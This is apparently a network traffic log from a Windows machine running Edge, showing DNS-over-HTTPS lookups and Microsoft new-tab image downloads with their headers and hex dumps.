2024-01-17 23:35:18 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 17 Jan 2024 23:35:18 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 547ed58ab09c3c811d28ab963755fcd8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: YLF3JTc9BCplI7bZwtovSvt_3zjcK8xI2zLWmkOyRiWOD7A3qFg3TA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.6	50031	104.18.23.202	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:18 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-01-17 23:35:18 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-01-17 23:35:18 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 17 Jan 2024 23:35:18 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 847269f74891333c-EWR alt-svc: h3=":443"; ma=86400
2024-01-17 23:35:18 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fb 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.6	50030	104.18.23.202	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:18 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-01-17 23:35:18 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-01-17 23:35:19 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 17 Jan 2024 23:35:18 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 847269f79cdec457-EWR alt-svc: h3=":443"; ma=86400
2024-01-17 23:35:19 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom ()

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.6	50044	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:19 UTC	634	OUT	GET /tenant/amp/entityid/AA19A5r1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:19 UTC	517	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 12 Jan 2024 23:42:18 GMT X-Datacenter: northeu X-ActivityId: 882ccdf0-58ec-48d3-afba-0934fd9196af Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA19A5r1 X-Source-Length: 2163 Content-Length: 2163 Cache-Control: public, max-age=389148 Expires: Mon, 22 Jan 2024 11:41:07 GMT Date: Wed, 17 Jan 2024 23:35:19 GMT Connection: close
2024-01-17 23:35:19 UTC	2163	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 54 00 00 01 54 08 06 00 00 00 7b 92 c4 b5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 08 08 49 44 41 54 78 5e ed db b1 8d 9d 65 14 45 d1 a9 85 8a 28 81 2a 48 e9 81 02 1c 91 51 01 08 39 74 e8 80 18 39 b2 44 02 46 42 c2 80 83 31 22 7d ef 77 60 f8 e4 d9 47 5a c1 ea e0 dc 9d dd 87 c7 c7 c7 f7 00 fc 7f 82 0a 70 88 a0 02 1c 22 a8 00 87 08 2a c0 21 82 0a 70 88 a0 02 1c 22 a8 00 87 08 2a c0 21 82 0a 70 88 a0 02 1c 22 a8 00 87 08 2a c0 21 82 0a 70 88 a0 02 1c f2 51 41 fd fd f3 cf e0 98 3f bf fe f2 ce d5 ee 6e bd fa f5 f9 9d af be 7f 80 63 5e be 7e 76 e7 6a 8b b7 04 95 27 23 a8 54 09 2a 73 04 95 2a Data Ascii: PNGIHDRTT{sRGBgAMAapHYsodIDATx^eE(HQ9t9DFB1"}w`GZp"!p"!p"!pQA?nc^~vj'#Ts

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.6	50045	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:19 UTC	633	OUT	GET /tenant/amp/entityid/AAcHSdq.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:19 UTC	513	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAcHSdq Last-Modified: Wed, 10 Jan 2024 23:09:03 GMT X-Source-Length: 348 X-Datacenter: westus X-ActivityId: e7a85b8f-22df-4c15-a09c-1c5060700ef1 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 348 Cache-Control: public, max-age=214452 Expires: Sat, 20 Jan 2024 11:09:31 GMT Date: Wed, 17 Jan 2024 23:35:19 GMT Connection: close
2024-01-17 23:35:19 UTC	348	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2b 00 00 00 2b 08 06 00 00 00 e1 5d 71 c0 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 e9 49 44 41 54 78 da ec 97 b1 0d c2 30 14 44 4d 16 08 14 ac 40 91 29 d8 00 8f 04 9b fc 11 fe 28 d0 50 d0 51 d3 b0 81 f1 00 89 14 89 bb 2f 9f e2 93 5c 59 b2 9e ce 4f 89 ff ae 94 92 96 f2 99 4e cb 9b f3 39 1c 9f af ef 9f e7 dd ea 19 d7 b9 8d 21 61 93 13 31 9b 86 bd d4 ab de ab c0 52 db dd 3c 2c 4d 85 81 54 42 ee b0 24 58 8a 0a 2c 58 4a bb 1d 96 a5 02 13 16 de 2e 1b f6 dc 9b 25 65 ac de e6 96 60 1f 51 ed 22 60 4d 09 f6 5e d7 3b 42 05 94 b3 1e d1 2e 0a d6 64 60 eb 34 1a a2 02 f2 d3 Data Ascii: PNGIHDR++]qpHYs+tEXtSoftwareAdobe ImageReadyqe<IDATx0DM@)(PQ/\YON9!a1R<,MTB$X,XJ.%e`Q"`M^;B.d`4

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.6	50043	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:19 UTC	634	OUT	GET /tenant/amp/entityid/AA15KYc7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:19 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA15KYc7 Last-Modified: Mon, 15 Jan 2024 17:22:00 GMT X-Source-Length: 71105 X-Datacenter: northeu X-ActivityId: d8237590-6695-4f25-be49-92ba4021da95 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 71105 Cache-Control: public, max-age=236768 Expires: Sat, 20 Jan 2024 17:21:27 GMT Date: Wed, 17 Jan 2024 23:35:19 GMT Connection: close
2024-01-17 23:35:19 UTC	15864	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 00 68 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 11 00 00 00 4e 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 33 2e 31 32 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIF``hExifMM*>F(1N``paint.net 4.3.12CC
2024-01-17 23:35:19 UTC	16384	IN	Data Raw: 79 86 1e 58 7c 55 38 d4 a7 2d 1c 65 15 28 bf 54 d3 4f e6 7b 6f c3 df f8 2a 8f ed b9 f0 fb ca 83 fe 16 df f6 e5 ac 5f f2 eb e2 1d 3a 1b 9d ff 00 ef 4b b4 4c 7f ef ba f7 6f 87 7f f0 5d bf 18 5b 79 76 ff 00 16 3e 03 69 b7 b9 e2 4b af 0f 6a 92 5b 6d f7 11 4c 25 dd ff 00 7d 8a fd 07 27 f1 2b 3a cb ed 0c 5a 55 a1 e7 a4 97 fd bc 96 bf f6 f2 6d f7 47 e0 3c 5d f4 71 e1 0c ef 9a b6 53 27 84 aa f5 b2 f7 e9 37 fe 06 ef 1f fb 76 49 2f e5 67 ba 7c 3d ff 00 82 ca fe c6 de 31 2b 0f 89 75 0f 10 78 5e 43 80 c7 58 d1 8c b1 ee f6 6b 56 94 e3 dc 85 fc 2b dd 3e 1d fe d3 bf b3 bf c5 9f 2e 3f 87 5f 1a fc 33 ab 4d 2f dc b3 b7 d6 22 fb 47 e3 0b 11 20 fc 54 57 ea d9 3f 1b 70 fe 73 68 42 a7 24 df d9 9f ba fe 4e fc ae fd 12 77 f2 3f 97 78 bb c1 de 3b e0 ee 6a b8 8c 37 b5 a2 bf e5 e5 Data Ascii: yX\|U8-e(TO{o*_:KLo][yv>iKj[mL%}'+:ZUmG<]qS'7vI/g\|=1+ux^CXkV+>.?_3M/"G TW?pshB$Nw?x;j7
2024-01-17 23:35:19 UTC	2209	IN	Data Raw: 48 47 d9 cf bf 35 3f 76 ef ce 51 51 97 fd bc 14 57 cc 9f a5 05 14 00 51 40 05 14 00 51 40 05 14 00 51 40 05 74 df 05 35 96 f0 e7 c6 5f 08 f8 85 5b 69 b0 f1 35 85 c0 6f 4d 97 08 df d2 ba 30 b2 e4 c5 42 5d a4 9f e2 70 e6 54 fd b6 5b 5a 9f 78 49 7d f1 68 fd fa a2 bf b0 0f f2 44 28 a0 02 8a 00 28 a0 02 8a 00 c8 f8 81 a9 ff 00 62 f8 0f 5b d6 77 63 ec 9a 45 cc d9 f4 db 13 37 f4 af e7 da bf 17 f1 6a 5f be c2 47 ca 7f fb 67 f9 1f d8 df 45 5a 76 c2 e6 d3 ef 2a 2b ee 55 7f cc 28 af c7 cf eb 60 a2 80 0a 28 00 a2 80 0a 28 00 a2 80 0a 28 00 a7 46 92 4a eb 14 48 cc cc d8 55 51 92 4f a5 01 b6 ac fd c2 fd 87 7f 67 6b 6f d9 87 f6 6d f0 ff 00 c3 79 6d 95 75 59 21 fb 7f 88 a4 51 cc 97 d3 00 d2 02 7b 84 1b 62 07 ba c4 b5 eb 95 fd 6d 93 e0 bf b3 b2 9a 18 6f e4 84 53 f5 4b 5f Data Ascii: HG5?vQQWQ@Q@Q@t5_[i5oM0B]pT[ZxI}hD((b[wcE7j_GgEZv*+U(`(((FJHUQOgkomymuY!Q{bmoSK_
2024-01-17 23:35:19 UTC	16384	IN	Data Raw: 00 28 a0 02 8a 00 28 a0 02 8a 00 28 a0 02 be 10 ff 00 82 ed c9 10 f8 53 e0 28 8f df 6f 10 dd 15 fa 08 06 7f 98 af 91 e3 bf f9 24 f1 37 ed 1f fd 2e 27 ea 9e 09 dd f8 a5 96 db f9 a7 ff 00 a6 e6 7e 67 51 5f cc a7 fa 50 14 50 01 45 00 14 50 01 45 00 14 50 01 45 00 14 50 07 ef 9f c0 20 c3 e0 4f 82 83 fd ef f8 44 b4 dd df f8 0b 1d 75 b5 fd 81 83 ff 00 74 a7 fe 15 f9 23 fc 93 cd bf e4 69 5f fc 72 ff 00 d2 98 51 5d 07 9e 14 50 01 45 00 14 50 07 01 fb 57 c4 6e 3f 65 af 89 50 28 e5 fc 01 ac af e7 63 35 7e 0f 57 e1 fe 2c 7f bf e1 bf c3 2f cc fe d4 fa 2c bf f8 42 cc 57 fd 3c 87 fe 92 c2 8a fc 9c fe a8 0a 28 00 a2 80 0a 28 00 a2 80 0a 28 00 a2 80 0a fb 8b fe 08 5d e2 c8 ac 3e 3a 78 c7 c1 72 4b b5 b5 3f 0b 25 d4 6a 7f 89 ad ee 11 71 f5 c4 e4 fd 33 5f 51 c1 55 3d 97 14 Data Ascii: (((S(o$7.'~gQ_PPEPEPEP ODut#i_rQ]PEPWn?eP(c5~W,/,BW<(((]>:xrK?%jq3_QU=
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: 85 2c f5 cb 3c cd 63 77 fe e4 a0 70 4f 5d 8e 15 c0 ea a2 bc ca bf 98 33 0c bf 17 95 e3 27 85 c4 c7 96 71 76 7f a3 5d d3 dd 33 fd 2e e1 de 21 ca b8 ab 27 a5 99 e5 d5 39 e9 54 57 5d d3 eb 19 2e 92 8b d1 ae fe 5a 85 15 c4 7b 61 45 00 6d 78 4f e2 47 c4 4f 01 4b f6 8f 03 78 f7 5a d1 64 dd 9d fa 4e a9 35 b1 cf ae 63 61 5e 9b e1 7f f8 28 7f ed b1 e1 00 a3 4a fd a3 7c 43 36 de 9f da 92 c7 7d f9 fd a5 5f 3f 8d 7a d9 7e 7b 9c 65 56 fa a5 79 41 76 4f dd ff 00 c0 5d e2 fe 68 f9 2c fb 80 f8 37 8a 1b 96 67 81 a7 52 4f ed 38 da 7f f8 1c 6d 3f fc 98 ee 74 4f f8 2c 17 ed c3 a5 2a ad f7 8e 34 7d 4b 1f c5 7d e1 db 75 cf fd f9 54 ae 92 cb fe 0b 75 fb 5d da 8c 4f e1 5f 01 dc fb cd a3 dd 0c ff 00 df 17 4b 5f 55 87 f1 2b 89 e8 2b 4e 50 9f f8 a3 6f fd 25 c4 fc c3 1d f4 6f f0 df Data Ascii: ,<cwpO]3'qv]3.!'9TW].Z{aEmxOGOKxZdN5ca^(J\|C6}_?z~{eVyAvO]h,7gRO8m?tO,*4}K}uTu]O_K_U++NPo%o
2024-01-17 23:35:20 UTC	3880	IN	Data Raw: d7 cd 7f 1f 7f e0 94 9f b2 77 c6 d3 71 ab 68 fe 18 93 c1 ba c4 d9 6f ed 0f 0c ed 8a 16 6f f6 ed 88 31 11 9e 4e c0 8c 7f bd 5e 1e 7d c3 f9 77 10 e1 7d 8e 26 3a af 86 4b e2 8b f2 f2 ee 9e 8f d6 cc fb 6e 07 e3 ee 20 e0 1c d3 eb 79 6c fd d9 5b 9e 9b d6 13 4b a4 97 46 ba 49 59 ae 8e cd a7 f1 27 c7 5f f8 23 df ed 51 f0 a8 cd a9 f8 0a da cf c7 1a 5c 64 95 93 46 6f 2a f0 2f ab 5b 48 72 4f fb 31 b4 86 be 5c d7 bc 3f af f8 57 56 9b 40 f1 3e 87 79 a6 df 5b 36 db 8b 2b fb 57 86 68 9b d1 91 c0 65 3f 51 5f ce bc 41 c3 39 97 0e e2 39 6b ab c1 fc 33 5f 0b ff 00 27 e4 fe 57 5a 9f e8 27 00 f8 95 c3 9e 21 60 7d ae 06 7c b5 a2 bd fa 52 6b 9e 1e 7f de 8d f6 92 d3 6b a8 bd 0a 74 57 ce 9f a1 05 14 00 51 40 05 14 00 51 40 05 14 00 51 40 05 14 00 51 40 05 14 00 51 40 05 14 00 51 Data Ascii: wqhoo1N^}w}&:Kn yl[KFIY'_#Q\dFo*/[HrO1\?WV@>y[6+Whe?Q_A99k3_'WZ'!`}\|RkktWQ@Q@Q@Q@Q@Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.6	50052	23.55.235.216	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:19 UTC	659	OUT	GET /cms/api/am/imageFileData/RW198v3?ver=34e9 HTTP/1.1 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:20 UTC	620	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RW198v3?ver=34e9 Last-Modified: Thu, 11 Jan 2024 02:24:53 GMT X-Source-Length: 455663 X-Datacenter: eastus X-ActivityId: 90c2d728-b62b-44c3-84c5-98fbf7986d40 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 455663 Cache-Control: public, max-age=225965 Expires: Sat, 20 Jan 2024 14:21:25 GMT Date: Wed, 17 Jan 2024 23:35:20 GMT Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-01-17 23:35:20 UTC	15764	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 22 00 00 ff e1 03 7f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky"http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xm
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: bb 5b 6f a8 22 1b b6 de bd b1 41 ca 66 00 5b 5a 24 08 3b 06 d4 2c 34 dc 02 8f 29 31 db f8 63 b5 fb a7 36 da eb ab 9d ff 00 c9 e2 a1 23 6b 69 68 03 4d c9 67 72 3f dd d7 24 a6 92 ac 23 81 63 02 ee b0 49 63 10 58 10 d0 0c 0c b2 ba 37 aa cb 15 da 02 ab 6e 88 55 33 af 87 4e 99 a1 c9 f6 eb 1d 3f 53 c2 56 e5 f1 ec 1f e3 b2 a1 e6 9e ea ea 3e d2 3e 38 b7 37 f6 8d 9c 5f 6d 6b 39 37 83 63 d8 ac c5 49 d0 b7 66 ec 7f 1c 60 8d e8 86 d1 8a cd e7 9e 5a d8 ae e0 1a 65 66 34 32 3a 9f ac 47 d3 02 b6 a9 65 29 da 65 7e 1d 86 16 eb aa 3e 49 03 d3 94 54 33 db c0 f7 d3 06 11 52 b8 20 41 3b bf d3 2c 28 3a ab 87 0c ac b0 08 3f 68 60 0c 7c 8e 75 8c 11 49 2c 20 98 81 a9 ed e3 80 3e 75 7d 4a 18 30 c7 51 f8 61 e9 a5 ae e2 6f 76 04 b3 36 aa 06 bb 42 9d 27 1e 95 4f 55 4a 86 fb 4a ac 68 Data Ascii: [o"Af[Z$;,4)1c6#kihMgr?$#cIcX7nU3N?SV>>87_mk97cIf`Zef42:Ge)e~>IT3R A;,(:?h`\|uI, >u}J0Qaov6B'OUJJh
2024-01-17 23:35:20 UTC	2075	IN	Data Raw: d8 8d 74 f1 cc c5 e3 52 d6 59 4f 26 cd aa 07 91 14 f4 10 c7 73 85 03 a9 ed 91 0b 98 b8 6e 1b ab 91 8d 19 65 7b 63 dd 5a 4f 1b 8f 65 ec d1 a2 ac aa c1 eb 3d 33 73 99 c2 6b 7d be de 3b ba f1 da dd 95 a5 56 58 5b 6c 38 b0 12 a8 4f 98 eb 8b de 13 8f 52 bd 0c 34 1f f6 fa 27 97 55 ed 02 72 17 93 c7 5e 62 b5 95 b3 a1 f2 86 3a 83 bc f9 67 be 33 09 13 70 1a 55 2b c3 32 25 5e de 9c 4f 6e 6e 13 df ea 87 52 85 ce 82 a9 d7 6c 19 d0 91 88 db c4 14 6c 7a 8d 76 28 03 6d 40 35 8e c4 90 01 99 81 b8 f4 d3 1b f6 9e 71 bf 93 ca e3 33 2a 38 b5 d1 7c a6 4a 09 50 4b 77 e9 df 11 6a 8f b5 f3 59 b9 4e 05 7b 54 55 66 a3 54 1b 23 6c ea 7b f5 ca 89 31 91 04 d7 d5 e2 91 0e 01 6e 48 fe df ec cd 5d ed ca f7 25 06 c7 61 e9 a0 d5 94 ce df 30 1a 74 c6 bd cb 8f 55 62 ea 4d 82 b2 c7 73 a0 d3 Data Ascii: tRYO&sne{cZOe=3sk};VX[l8OR4'Ur^b:g3pU+2%^OnnRllzv(m@5q3*8\|JPKwjYN{TUfT#l{1nH]%a0tUbMs
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: 1f c0 e6 8f ba 31 f4 11 6d 1b f6 87 60 57 a6 ab da 4e 25 4f 20 8e 38 a6 54 08 98 f1 68 ca c6 f6 06 1b a5 36 bc d7 58 d1 67 49 82 3e 20 7f 0c b8 95 31 1f 69 33 f0 18 36 30 40 1d 34 3f 86 11 0c 82 4f 4f f9 67 42 e6 75 37 38 35 2f 63 06 70 7c 56 1e a3 16 d3 49 ce b4 b6 d8 3a 6b fc 32 8b a5 9d 7b 40 c4 d4 55 75 5d 15 2d dc e4 a9 53 27 53 f1 f9 65 6b 77 16 95 43 a9 9d 7e 63 f9 e4 08 dc eb a7 8e 98 2a ad df 66 d0 00 13 a3 78 1c 19 0e b7 2b e6 82 d5 31 0e 09 f2 2b 74 69 6f 88 f1 23 34 2f f7 17 35 b7 1e af 3a d4 a2 1b 40 c4 83 1b 3b 75 cc 27 bc 27 a3 e9 b1 5b 3d 41 d3 50 20 c6 e2 31 fb 7d 3a d5 eb 4d a0 83 a9 ee 4c e6 32 80 7d 16 a2 45 6c f0 bd eb d0 63 57 2d d4 84 95 f2 93 1e 5d 03 6e 23 be 03 dd fd cb f5 6e 02 08 a9 48 83 25 4f f7 66 35 6d 5a bb 0d aa 54 e8 64 Data Ascii: 1m`WN%O 8Th6XgI> 1i360@4?OOgBu785/cp\|VI:k2{@Uu]-S'SekwC~c*fx+1+tio#4/5:@;u''[=AP 1}:ML2}ElcW-]n#nH%Of5mZTd
